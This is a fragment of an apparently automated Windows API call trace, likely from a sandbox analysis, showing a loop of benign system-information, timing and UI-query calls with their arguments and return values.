[0053.725] GetTickCount () returned 0x1c32f [0053.725] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.725] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.725] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.725] GetTickCount () returned 0x1c32f [0053.725] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.725] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.725] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.725] GetTickCount () returned 0x1c32f [0053.725] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.725] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.725] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.725] GetTickCount () returned 0x1c32f [0053.725] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.725] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.725] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.726] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.726] GetTickCount () returned 0x1c32f [0053.726] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.726] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.726] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.726] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.726] GetTickCount () returned 0x1c32f [0053.726] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.726] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.726] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.726] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.726] GetTickCount () returned 0x1c32f [0053.726] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.726] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.726] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.726] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.726] GetTickCount () returned 0x1c32f [0053.726] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.726] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.726] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.726] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.726] GetTickCount () returned 0x1c32f [0053.726] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.726] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.726] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.727] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.727] GetTickCount () returned 0x1c32f [0053.727] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.727] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.727] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.727] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.727] GetTickCount () returned 0x1c32f [0053.727] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.727] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.727] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.727] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.727] GetTickCount () returned 0x1c32f [0053.727] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.727] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.727] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.727] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.727] GetTickCount () returned 0x1c32f [0053.727] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.727] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.727] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.727] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.727] GetTickCount () returned 0x1c32f [0053.727] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.727] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.727] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.728] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.728] GetTickCount () returned 0x1c32f [0053.728] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.728] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.728] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.728] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.728] GetTickCount () returned 0x1c32f [0053.728] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.728] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.728] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.728] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.728] GetTickCount () returned 0x1c32f [0053.728] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.728] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.728] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.728] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.728] GetTickCount () returned 0x1c32f [0053.728] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.728] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.728] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.728] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.728] GetTickCount () returned 0x1c32f [0053.728] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.728] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.728] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.729] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.729] GetTickCount () returned 0x1c32f [0053.729] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.729] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.729] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.729] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.729] GetTickCount () returned 0x1c32f [0053.729] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.729] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.729] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.729] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.729] GetTickCount () returned 0x1c32f [0053.729] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.729] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.729] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.729] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.729] GetTickCount () returned 0x1c32f [0053.729] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.729] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.729] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.729] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.729] GetTickCount () returned 0x1c32f [0053.729] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.729] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.729] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.730] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.730] GetTickCount () returned 0x1c32f [0053.730] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.730] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.730] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.730] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.730] GetTickCount () returned 0x1c32f [0053.730] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.730] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.730] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.730] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.730] GetTickCount () returned 0x1c32f [0053.730] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.730] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.730] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.730] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.730] GetTickCount () returned 0x1c32f [0053.730] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.730] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.730] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.730] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.730] GetTickCount () returned 0x1c32f [0053.730] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.731] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.731] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.731] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.731] GetTickCount () returned 0x1c33e [0053.731] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.731] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.731] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.731] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.731] GetTickCount () returned 0x1c33e [0053.731] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.731] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.731] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.731] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.731] GetTickCount () returned 0x1c33e [0053.731] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.731] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.731] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.731] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.731] GetTickCount () returned 0x1c33e [0053.731] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.731] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.731] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.731] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.731] GetTickCount () returned 0x1c33e [0053.732] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.732] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.732] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.732] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.732] GetTickCount () returned 0x1c33e [0053.732] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.732] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.732] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.732] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.732] GetTickCount () returned 0x1c33e [0053.732] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.732] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.732] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.732] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.732] GetTickCount () returned 0x1c33e 